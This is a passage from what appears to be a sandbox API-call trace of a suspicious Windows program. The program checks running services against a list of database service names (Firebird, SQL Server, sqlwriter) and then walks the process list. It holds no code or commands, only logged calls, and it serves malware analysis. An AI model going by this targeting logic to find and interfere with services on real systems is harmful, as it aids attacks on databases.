(lpString="netprofm") returned 8 [0219.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0219.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0219.034] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0219.034] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0219.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0219.034] lstrlenW (lpString="NlaSvc") returned 6 [0219.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0219.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0219.034] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0219.034] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0219.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0219.034] lstrlenW (lpString="nsi") returned 3 [0219.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0219.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0219.035] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0219.035] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0219.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0219.035] lstrlenW (lpString="PcaSvc") returned 6 [0219.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0219.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0219.035] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0219.035] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0219.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0219.035] lstrlenW (lpString="PlugPlay") returned 8 [0219.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0219.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0219.035] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0219.035] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0219.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0219.035] lstrlenW (lpString="Power") returned 5 [0219.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0219.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0219.035] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0219.035] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0219.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0219.036] lstrlenW (lpString="ProfSvc") returned 7 [0219.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0219.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0219.036] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0219.036] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0219.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0219.036] lstrlenW (lpString="RpcEptMapper") returned 12 [0219.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0219.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0219.036] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0219.036] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0219.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0219.036] lstrlenW (lpString="RpcSs") returned 5 [0219.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0219.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0219.036] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0219.036] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0219.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0219.036] lstrlenW (lpString="SamSs") returned 5 [0219.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0219.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0219.143] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0219.143] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0219.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0219.144] lstrlenW (lpString="Schedule") returned 8 [0219.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0219.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0219.144] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0219.144] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0219.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0219.144] lstrlenW (lpString="SecurityHealthService") returned 21 [0219.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0219.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0219.144] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0219.144] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0219.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0219.144] lstrlenW (lpString="SENS") returned 4 [0219.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0219.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0219.144] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0219.144] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0219.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0219.144] lstrlenW (lpString="ShellHWDetection") returned 16 [0219.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0219.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0219.144] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0219.144] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0219.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0219.144] lstrlenW (lpString="Spooler") returned 7 [0219.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0219.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0219.144] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0219.144] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0219.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0219.145] lstrlenW (lpString="SSDPSRV") returned 7 [0219.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0219.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0219.145] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0219.145] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0219.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0219.145] lstrlenW (lpString="StateRepository") returned 15 [0219.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0219.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0219.145] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0219.145] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0219.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0219.145] lstrlenW (lpString="SysMain") returned 7 [0219.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0219.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0219.145] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0219.145] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0219.145] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x801a48 | out: hHeap=0x790000) returned 1 [0219.145] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d8 [0219.149] Process32FirstW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0219.154] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0219.155] lstrlenW (lpString="System") returned 6 [0219.155] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0219.156] lstrlenW (lpString="smss.exe") returned 8 [0219.156] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0219.157] lstrlenW (lpString="csrss.exe") returned 9 [0219.157] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0219.158] lstrlenW (lpString="wininit.exe") returned 11 [0219.158] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0219.380] lstrlenW (lpString="csrss.exe") returned 9 [0219.380] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0219.381] lstrlenW (lpString="winlogon.exe") returned 12 [0219.381] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0219.382] lstrlenW (lpString="services.exe") returned 12 [0219.382] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0219.382] lstrlenW (lpString="lsass.exe") returned 9 [0219.382] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.383] lstrlenW (lpString="svchost.exe") returned 11 [0219.383] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0219.384] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0219.384] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0219.385] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0219.385] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.386] lstrlenW (lpString="svchost.exe") returned 11 [0219.386] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0219.386] lstrlenW (lpString="dwm.exe") returned 7 [0219.386] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.387] lstrlenW (lpString="svchost.exe") returned 11 [0219.387] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.393] lstrlenW (lpString="svchost.exe") returned 11 [0219.393] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.393] lstrlenW (lpString="svchost.exe") returned 11 [0219.393] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.394] lstrlenW (lpString="svchost.exe") returned 11 [0219.394] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.395] lstrlenW (lpString="svchost.exe") returned 11 [0219.395] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.396] lstrlenW (lpString="svchost.exe") returned 11 [0219.396] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.396] lstrlenW (lpString="svchost.exe") returned 11 [0219.396] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.397] lstrlenW (lpString="svchost.exe") returned 11 [0219.397] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.398] lstrlenW (lpString="svchost.exe") returned 11 [0219.398] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0219.398] lstrlenW (lpString="spoolsv.exe") returned 11 [0219.398] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.399] lstrlenW (lpString="svchost.exe") returned 11 [0219.399] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.400] lstrlenW (lpString="svchost.exe") returned 11 [0219.400] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0219.400] lstrlenW (lpString="audiodg.exe") returned 11 [0219.400] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0219.401] lstrlenW (lpString="sihost.exe") returned 10 [0219.401] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.402] lstrlenW (lpString="svchost.exe") returned 11 [0219.402] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0219.403] lstrlenW (lpString="taskhostw.exe") returned 13 [0219.403] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0219.403] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0219.403] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0219.420] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0219.420] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0219.421] lstrlenW (lpString="explorer.exe") returned 12 [0219.421] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0219.422] lstrlenW (lpString="Memory Compression") returned 18 [0219.422] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0219.423] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0219.423] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0219.423] lstrlenW (lpString="SearchUI.exe") returned 12 [0219.423] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0219.424] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0219.424] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0219.425] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0219.425] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0219.426] lstrlenW (lpString="entering.exe") returned 12 [0219.426] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0219.426] lstrlenW (lpString="literally.exe") returned 13 [0219.426] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0219.427] lstrlenW (lpString="prep.exe") returned 8 [0219.427] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0219.428] lstrlenW (lpString="homeless.exe") returned 12 [0219.428] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0219.428] lstrlenW (lpString="tips.exe") returned 8 [0219.428] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0219.429] lstrlenW (lpString="rhode_cow.exe") returned 13 [0219.429] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0219.430] lstrlenW (lpString="discount.exe") returned 12 [0219.430] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0219.430] lstrlenW (lpString="littleclosest.exe") returned 17 [0219.430] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0219.431] lstrlenW (lpString="compact.exe") returned 11 [0219.431] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0219.432] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0219.432] 